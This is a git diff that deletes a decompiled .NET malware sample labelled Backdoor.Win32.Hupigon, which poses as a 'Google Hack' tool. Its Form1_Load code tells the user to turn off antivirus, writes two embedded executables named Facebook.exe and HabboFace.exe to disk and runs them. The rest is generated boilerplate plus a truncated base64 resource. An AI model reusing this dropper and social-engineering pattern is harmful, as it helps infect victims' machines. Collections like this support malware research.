a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Backdoor.Win32.Hupigon.eqlo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Google Hack", "Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.csproj", "{08696A9C-498C-4735-A435-9E984C32DD90}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {08696A9C-498C-4735-A435-9E984C32DD90}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {08696A9C-498C-4735-A435-9E984C32DD90}.Debug|Any CPU.Build.0 = Debug|Any CPU - {08696A9C-498C-4735-A435-9E984C32DD90}.Release|Any CPU.ActiveCfg = Release|Any CPU - {08696A9C-498C-4735-A435-9E984C32DD90}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.cs deleted file mode 100644 index 472e1648..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.Form1 -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - -namespace Habbo -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - - [DebuggerNonUserCode] - static Form1() - { - } - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - lock (Form1.__ENCList) - Form1.__ENCList.Add(new WeakReference((object) this)); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(134, 163); - this.FormBorderStyle = FormBorderStyle.None; - this.Name = nameof (Form1); - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (Form1); - this.ResumeLayout(false); - } - - private void Form1_Load(object sender, EventArgs e) - { - int num1 = (int) Interaction.MsgBox((object) "Antivrus schutz aus bitte"); - FileStream fileStream1 = new FileStream("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/HabboFace.exe", FileMode.Create); - fileStream1.Write(Habbo.My.Resources.Resources.HabboFace, 0, Habbo.My.Resources.Resources.HabboFace.Length); - fileStream1.Close(); - FileStream fileStream2 = new FileStream("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/Facebook.exe", FileMode.Create); - fileStream2.Write(Habbo.My.Resources.Resources.Facebook, 0, Habbo.My.Resources.Resources.Facebook.Length); - fileStream2.Close(); - int num2 = (int) Interaction.MsgBox((object) "Antivrus schutz aus bitte . Fertig"); - Interaction.Shell("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/Facebook.exe"); - Interaction.Shell("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/HabboFace.exe"); - this.Close(); - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.resx b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/InternalXmlHelper.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/InternalXmlHelper.cs deleted file mode 100644 index 5b0d8a24..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/InternalXmlHelper.cs +++ /dev/null @@ -1,214 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.InternalXmlHelper -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Linq; -using System.Runtime.CompilerServices; -using System.Xml.Linq; - -namespace Habbo.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerNonUserCode] - internal sealed class InternalXmlHelper - { - [EditorBrowsable(EditorBrowsableState.Never)] - private InternalXmlHelper() - { - } - - public static string get_Value(IEnumerable source) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return enumerator.Current.Value; - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_Value(IEnumerable source, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.Value = value; - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(IEnumerable source, XName name) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return (string) enumerator.Current.Attribute(name); - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_AttributeValue(IEnumerable source, XName name, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.SetAttributeValue(name, (object) value); - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name); - - public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns) - { - XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName); - namespaceAttribute.AddAnnotation((object) ns); - return namespaceAttribute; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static object RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - object obj) - { - switch (obj) - { - case XElement e: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e); - case IEnumerable enumerable: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable); - default: - return obj; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static IEnumerable RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - IEnumerable obj) - { - if (obj == null) - return obj; - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - return obj is IEnumerable source ? (IEnumerable) source.Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast().Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject)); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XElement RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - XElement e) - { - XAttribute nextAttribute; - if (e != null) - { - for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute) - { - nextAttribute = xattribute.NextAttribute; - if (xattribute.IsNamespaceDeclaration) - { - XNamespace xnamespace1 = xattribute.Annotation(); - string localName1 = xattribute.Name.LocalName; - if ((object) xnamespace1 != null) - { - if (inScopePrefixes != null && inScopeNs != null) - { - int num = checked (inScopePrefixes.Length - 1); - int index = 0; - while (index <= num) - { - string inScopePrefix = inScopePrefixes[index]; - XNamespace inScopeN = inScopeNs[index]; - if (localName1.Equals(inScopePrefix)) - { - if (xnamespace1 == inScopeN) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - if (attributes != null) - { - int num = checked (attributes.Count - 1); - int index = 0; - while (index <= num) - { - XAttribute attribute = attributes[index]; - string localName2 = attribute.Name.LocalName; - XNamespace xnamespace2 = attribute.Annotation(); - if ((object) xnamespace2 != null && localName1.Equals(localName2)) - { - if (xnamespace1 == xnamespace2) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - xattribute.Remove(); - attributes.Add(xattribute); - } - } - } - } - } - } - return e; - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyApplication.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyApplication.cs deleted file mode 100644 index 0d05aeb5..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyApplication.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.MyApplication -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Habbo.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - lock (MyApplication.__ENCList) - MyApplication.__ENCList.Add(new WeakReference((object) this)); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyComputer.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyComputer.cs deleted file mode 100644 index aa04a03c..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.MyComputer -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Habbo.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyProject.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyProject.cs deleted file mode 100644 index 59b753c3..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.MyProject -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Habbo.My -{ - [StandardModule] - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettings.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettings.cs deleted file mode 100644 index 75c42066..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.MySettings -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Habbo.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettingsProperty.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettingsProperty.cs deleted file mode 100644 index df3665f9..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.MySettingsProperty -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Habbo.My -{ - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/Resources/Resources.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/Resources/Resources.cs deleted file mode 100644 index ee71975f..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/My/Resources/Resources.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Habbo.My.Resources.Resources -// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Habbo.My.Resources -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Habbo.My.Resources.Resources.resourceMan, (object) null)) - Habbo.My.Resources.Resources.resourceMan = new ResourceManager("Habbo.Resources", typeof (Habbo.My.Resources.Resources).Assembly); - return Habbo.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Habbo.My.Resources.Resources.resourceCulture; - set => Habbo.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] Facebook => (byte[]) RuntimeHelpers.GetObjectValue(Habbo.My.Resources.Resources.ResourceManager.GetObject(nameof (Facebook), Habbo.My.Resources.Resources.resourceCulture)); - - internal static byte[] HabboFace => (byte[]) RuntimeHelpers.GetObjectValue(Habbo.My.Resources.Resources.ResourceManager.GetObject(nameof (HabboFace), Habbo.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Resources.resx b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Resources.resx deleted file mode 100644 index 6f8ae0c9..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec/Resources.resx +++ /dev/null @@ -1,14697 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 